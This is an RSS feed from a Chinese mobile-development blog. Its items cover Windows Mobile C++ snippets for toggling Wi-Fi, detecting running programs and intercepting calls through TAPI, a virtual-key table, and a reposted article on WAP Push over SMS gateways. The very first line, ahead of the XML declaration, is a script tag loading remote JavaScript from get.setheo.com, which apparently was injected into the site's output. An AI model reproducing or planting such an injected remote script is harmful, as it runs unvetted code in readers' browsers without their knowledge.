

<script language="javascript" src="http://get.setheo.com/inurl.js"></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[Cxty's Blog - 移动开发]]></title>
<link>http://www.openx.cn/</link>
<description><![CDATA[嘻嚓啼歪的小窝窝]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[cxty@qq.com(嘻嚓啼歪)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>Cxty&#39;s Blog</title> 
	<url>http://www.openx.cn/images/logos.gif</url> 
	<link>http://www.openx.cn/</link> 
	<description>Cxty&#39;s Blog</description> 
</image>

			<item>
			<link>http://www.openx.cn/default.asp?id=471</link>
			<title><![CDATA[正准备弄个语音识别的，转个材料“.Net平台下开发中文语音应用程序”]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Fri,10 Jul 2009 14:24:50 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=471</guid>	
		<description><![CDATA[]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=468</link>
			<title><![CDATA[Windows Mobile 中开关 WIFI 的“通用”代码]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Wed,13 Aug 2008 15:04:51 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=468</guid>	
		<description><![CDATA[<span style="COLOR: #ff6600">#pragma once<br />#include &quot;UniBase.h&quot;<br />#include &quot;Reg.h&quot;<br />#include &lt;PM.h&gt;<br /><br />class CWiFiHelper<br />{<br />private:<br />&nbsp;&nbsp;&nbsp; TCHAR m_tzDevice[MAX_NAME];</span>
<p><span style="COLOR: #ff6600">public:<br />&nbsp;&nbsp;&nbsp; CWiFiHelper()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TCHAR tzKey[MAX_PATH];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CReg reg(HKEY_LOCAL_MACHINE, TEXT(&quot;Comm&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (UINT i = 0; reg.EnumKey(i, tzKey) == S_OK; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (tzKey[UStrLen(tzKey) - 1] == '1')<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CReg dev(reg, tzKey);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TCHAR tzDisplayName[MAX_PATH];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (dev.GetStr(TEXT(&quot;DisplayName&quot;), tzDisplayName))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (UStrStrI(tzDisplayName, TEXT(&quot;WiFi&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStrI(tzDisplayName, TEXT(&quot;Wi-Fi&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStrI(tzDisplayName, TEXT(&quot;Wireless&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStr(tzDisplayName, TEXT(&quot;802.11&quot;)))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrPrint(m_tzDevice, PMCLASS_NDIS_MINIPORT TEXT(&quot;</span><a href="http://www.openx.cn/file://%25s/"><span style="COLOR: #ff6600">\\%s</span></a><span style="COLOR: #ff6600">&quot;), tzKey);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //MessageBox(NULL, m_tzDevice, STR_AppName, MB_ICONINFORMATION);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m_tzDevice[0] = 0;<br />&nbsp;&nbsp;&nbsp; }</span></p>
<p><span style="COLOR: #ff6600">&nbsp;&nbsp;&nbsp; BOOL IsEnabled()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CEDEVICE_POWER_STATE s = D4;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (m_tzDevice [0])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetDevicePower(m_tzDevice, POWER_NAME, &amp;s);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return s == D0;<br />&nbsp;&nbsp;&nbsp; }</span></p>
<p><span style="COLOR: #ff6600">&nbsp;&nbsp;&nbsp; HRESULT Enable(BOOL bEnable = TRUE)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (m_tzDevice [0])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return SetDevicePower(m_tzDevice, POWER_NAME, bEnable ? D0 : D4);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ERROR_DEVICE_NOT_AVAILABLE;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />};</span></p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=467</link>
			<title><![CDATA[PPC中检查某程序是否运行 ]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Mon,28 Jul 2008 16:19:31 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=467</guid>	
		<description><![CDATA[第一种:<br />HANDLE hMutex=::CreateMutexW(NULL,true,L&quot;程序名&quot;);<br />&nbsp;DWORD dwError=GetLastError();<br />&nbsp;if(dwError==ERROR_ALREADY_EXISTS)<br />&nbsp;{<br />&nbsp;&nbsp;::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;return ;<br />&nbsp;}<br />&nbsp;::ReleaseMutex(hMutex);<br /><br />第二种:<br />HWND hWmp=::FindWindowW(L&quot;Dialog&quot;,L&quot;程序窗口名&quot;);<br />&nbsp;if(hWmp)<br />&nbsp;{<br />&nbsp;&nbsp; ::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;return FALSE;<br />&nbsp;}<br /><br />第三种:<br />PROCESSENTRY32&nbsp;&nbsp; lppe; <br />&nbsp;memset(&amp;lppe,0,sizeof(PROCESSENTRY32));&nbsp;&nbsp; <br />&nbsp;HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br />&nbsp;lppe.dwSize=sizeof(PROCESSENTRY32);<br />&nbsp;::Process32First(handle,&amp;lppe);<br />&nbsp;do<br />&nbsp;{<br />&nbsp;&nbsp;HANDLE hh=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,lppe.th32ProcessID);<br />&nbsp;&nbsp;CString temp(lppe.szExeFile);<br />&nbsp;&nbsp;if(temp.Find(L&quot;程序名&quot;)&gt;=0)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;&nbsp;::TerminateProcess(hh,0xffffffff);<br />&nbsp;&nbsp;&nbsp;::CloseHandle(hh);<br />&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;::CloseHandle(handle);<br />&nbsp;&nbsp; <br />&nbsp;}while(Process32Next(handle,&amp;lppe));<br />&nbsp;::CloseHandle(handle);<br /><br />以上三种方法,只能检查其它程序,而不能检查自身是否正在运行,因为windows mobile 系统的运行机制和PC机上的windows XP是不太一样的.<br />]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=466</link>
			<title><![CDATA[window mobile 5.0截获来电]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Mon,28 Jul 2008 16:18:39 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=466</guid>	
		<description><![CDATA[<p>在开发来电防火墙或来电大头贴时，首先就是要截获来电，然后再加以分析，截获来电的方法一般就是用TAPI提供的api函数，这些函数在tapi.h下．<br />１．初始化线路，并打开线路<br />&nbsp; DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineHandleCount;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HLINE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *lineHandles;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HLINEAPP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineApp;<br /><br />if(lineInitialize(&amp;lineApp,theApp.m_hInstance,(LINECALLBACK)LineCallback,L&quot;Video&quot;,&amp;lineHandleCount)==0)<br />&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp; lineHandles = new HLINE[lineHandleCount];</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(DWORD i = 0; i &lt; lineHandleCount; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int rc;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD ver;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LINEEXTENSIONID extensionID;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( lineNegotiateAPIVersion( lineApp, i, 0x00010000, 0x00020000, &amp;ver, &amp;extensionID ) == 0 )<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rc = lineOpen( lineApp,i,&amp;lineHandles[ i ],ver,0,(DWORD)0,LINECALLPRIVILEGE_MONITOR|LINECALLPRIVILEGE_OWNER,LINEMEDIAMODE_INTERACTIVEVOICE,NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;}<br /><br />２.编写回调函数，在这个函数里实现功能<br />VOID CALLBACK LineCallback(DWORD hDevice, DWORD dwMsg, DWORD dwCallbackInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3)<br />{<br />　//dwMsg是线路消息<br />&nbsp;&nbsp; //dwParam1,dwParam2是具体的事件<br />}<br /><br />3.当结束程序时，关闭线路<br />for ( DWORD i=0; i&lt;lineHandleCount; i++ )<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineClose( lineHandles[i]);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete[] lineHandles;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineShutdown( lineApp );</p>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=460</link>
			<title><![CDATA[Windows Mobile 常用键值(VK)对应表 ]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Mon,28 Apr 2008 14:50:05 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=460</guid>	
		<description><![CDATA[<span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TSOFT1&nbsp;&nbsp; VK_F1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Softkey 1</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TSOFT2&nbsp;&nbsp; VK_F2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Softkey 2</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TTALK&nbsp;&nbsp;&nbsp; VK_F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Talk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TEND&nbsp;&nbsp;&nbsp;&nbsp; VK_F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> End&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_THOME&nbsp;&nbsp;&nbsp; VK_LWIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Home&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TBACK&nbsp;&nbsp;&nbsp; VK_ESCAPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Back&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TACTION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_RETURN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Action&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TRECORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Record</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TFLIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Flip</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TPOWER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Power</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TVOLUMEUP&nbsp;&nbsp;&nbsp; VK_F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Volume Up&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TVOLUMEDOWN&nbsp; VK_F7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Volume Down</span>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=386</link>
			<title><![CDATA[基于短信网关WAP推送的实现]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Wed,08 Nov 2006 17:43:59 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=386</guid>	
		<description><![CDATA[WAP PUSH既有信息发送主动、及时的特点，又有可随时随地接收信息的优势，因而具有良好的应用前景。该文简单介绍了WAP PUSH系统框架、推送协议和推送方式，重点介绍了通过短信网关实现WAP推送的实现方法。 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　1 WAP推送技术简介 <BR><BR>　　1.1 什么是WAP推送 <BR><BR>　　WAP推送（PUSH）技术是一种建立在客户服务器上的机制，就是由服务器主动将信息发往客户端的技术。同传统的拉（PULL）技术相比，最主要的区别在于推送（PUSH）技术是由服务器主动向客户机发送信息，而拉（PULL）技术则是由客户机主动请求信息。PUSH技术的优势在于信息的主动性和及时性。 <BR><BR>　　PUSH技术在Internet中没能取得大的成功，原因是多方面的。主要原因在于固定网中计算机等固定设备为用户提供了足够的资源和能力去查找信息所以用户通常将它作为一个浏览信息的窗口，而不是被动的信息接收者。同时固定网用户对于信息准确性的要求远甚于对其及时性的要求，因此PUSH技术未能得到广泛的应用。 <BR><BR>　　而在移动网中，由于存在着网络带宽、移动终端能力以及自费标准高昂等诸多限制，使得用户查找信息受到了一定的限制，如果将重要的信息主动及时地推送到用户的移动设备上无疑会大大方便用户。移动通信的优点是移动设备能够随时随地接收信息因此PUSH技术在移动网中可以大展拳脚，WAP PUSH正是PUSH技术和移动通信两者扬长避短相结合的产物。WAP PUSH是在移动网络中应用的PUSH技术，它结合了一般PUSH技术和移动网络的特点。它的系统框架、使用协议和服务方式与固定网上的PUSH技术有很大不同。 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　1.2 WAP PUSH系统框架 <BR><BR>　　WAP PUSH框架主要包括推送发起者（PI：PUSH Initiator）、推送代理网关(PPG：PUSH ProxyGateway)和推送客户(PC：PUSH Client)三个功能部分。PI位于Internet中，而PC在WAP领域，PI和WAP客户端所使用的协议是不同的，需要在中间建立一个协议转换网关即PPG。PPG通过推送访问协议（PAP：PUSH AccessProtocol）与PI通信，通过推送空间传输协议（PUSH OTA：PUSH over-the-Air）完成向客户推送信息的数据传输任务。 <BR><BR>　　PPG完成推送体系结构中的大部分工作，包括从Internet到移动网的访问接入，以及与其有关的认证、安全、客户端控制等所有工作。PPG所提供的主要服务包括：1)PI的标识、鉴权和访问控制；2)对推送内容进行语法分析，并依据数据类型定义（DTD）检错纠错；3)客户寻址与信息传输；4)PAP与PUSH OTA间的协议转换；5)为提高无线信道中的传输效率，对信息进行压缩、编译等处理。 <BR><BR>　　另外，PPG还可以通过别名机制实现组播和广播，即将某些特定的地址别名映射到组播或广播的操作中，具体方案可以由系统实现者决定。不同的客户端，其能力是不同的，PPG还要负责响应PI的客户能力查询请求，以便于PI针对不同的客户端构造合适的内容格式。 <BR><BR>　　1.3 推送协议 <BR><BR>　　PAP是PI与PPG间的通信协议，它使用可扩展标记语言（XML）作为消息的描述语言，通过简单的请求响应机制完成数据的传输。PAP可以在多种通信协议（包括超文本传输协议（HTTP）、简单邮件传输协议（SMTP）等）之上实现。 <BR><BR>　　而PUSH OTA是运行于无线会话协议（WSP）之上的一个较为简单的协议层，负责从PPG到客户代理的数据传输。PUSH OTA可使用面向连接的会话和无连接会话两种WSP层服务，对于使用连接会话的推送，需要在PPG和客户端间预先有一个激活的会话上下文；对于无连接的推送，则通过预留的端口来完成通信。 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　1.4 推送服务方式 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　WAP的推送协议中定义了服务指示（SI：Service Indication）和服务加载（SL：Service Load）两项服务，以给用户和网络运营者更多的选择。服务指示是将新信息的指示和相关的通用资源标识符（URI）推送给用户，由用户选择是立即处理信息还是以后处理。服务加载是将一项服务的URI推送给用户，然后客户端自动地使用PULL技术根据该URI启动服务。两种服务的区别在于用户是否介入推送信息的处理过程。SL对推送信息的处理对用户来说是透明的，而SI则在指示用户的同时，请用户对随后的处理做出选择。 <BR><BR>　　PUSH可以将某一站点或某一业务的链接通过短信发送到支持WAP PUSH功能的手机上，这样用户只需要阅读这条短信，打开短信中的链接，就可以直接访问业务了。因此，WAP PUSH实现了短信和WAP业务的结合，节省了用户寻找业务的时间，方便用户直接找到并使用自己喜欢的业务。 <BR><BR>　　2 短消息网关简介 <BR><BR>　　短消息网关（ISMG）是处于短消息中心（SMSC）和业务提供商（SP）之间的设备，它为这两个实体的数据交换提供安全、快捷的通道。网关与短消息中心之间使用SMPP协议（Short Message Peer to Peer,短消息点对点协议）, 与SP之间使用CMPP协议（China Mobile Peer to Peer,中国移动点对点协议），因此短消息网关需要完成协议的转换、计费、路由、安全和网络管理等功能。具体说来， SMPP通信代理系统主要实现网关和GSM网中短消息中心（SMSC）的连接，确保准确接收和发送数据，实现高效、可靠的数据传输。为了达到规范要求的不超过0.001%的数据丢包率，SMPP通信代理需要支持流量控制。CMPP通信代理系统主要是实现和SP服务提供商的连接，与SMPP通信代理系统不同的是，由于协议的影响，CMPP通信代理是服务器端，需等待SP的连接，而SMPP通信代理是客户端，需要主动连接SMSC。短消息网关处理系统是网关中最复杂的处理进程，它完成的任务包括：向GNS(汇接网关) 查询路由，维护路由表，进行协议转换和数据分发。防火墙系统主要为网关系统提供安全保障，它包括IP包过滤和身份验证。短信网关计费系统主要形成各种计费话单，为计费提供依据。业务管理系统主要完成对业务进行统计报告，生成报表，为运营者对用户数据的添加、修改、删除以及对网关系统的监控、查询、操作和维护提供接口和界面。 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　3 基于短信网关发送WAP PUSH <BR><BR>　　WAP PUSH的发送有两种途径，一个是通过PPG网关，另外一个是通过SMPP协议。其中SMPP是一个基本协议，在中国主要有三个由其派生的协议：中国移动的CMPP协议，中国联通的SGIP（在CDMA上是ETIP），以及小灵通的SMGP。通过中国移动的PPG网关发送WAP PUSH有着开发周期长，调测流程较复杂等不足，而使用CMPP协议即基于短信网关来进行WAP PUSH发送灵活性比较高，相对比较简单。 <BR><BR>　　3.1 WAP PUSH发送的实现模式 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　可通过计算机串口上连接GSM MODEM，用它向手机发送WAP PUSH。这种方法发WAP PUSH又分三种模式：BLOCK 模式、TEXT 模式和PDU 模式。BLOCK 模式现在用的很少了， TEXT 模式则只能发送ASCII 码,它不能发送中文的UNICODE码，而PDU 模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU 格式,但PDU 模式被所有手机支持，可以使用任何字符集，它也是手机默认的编码方式，所以选用PDU模式发送WAP PUSH. <BR><BR>　　3.2 PDU 模式 <BR>
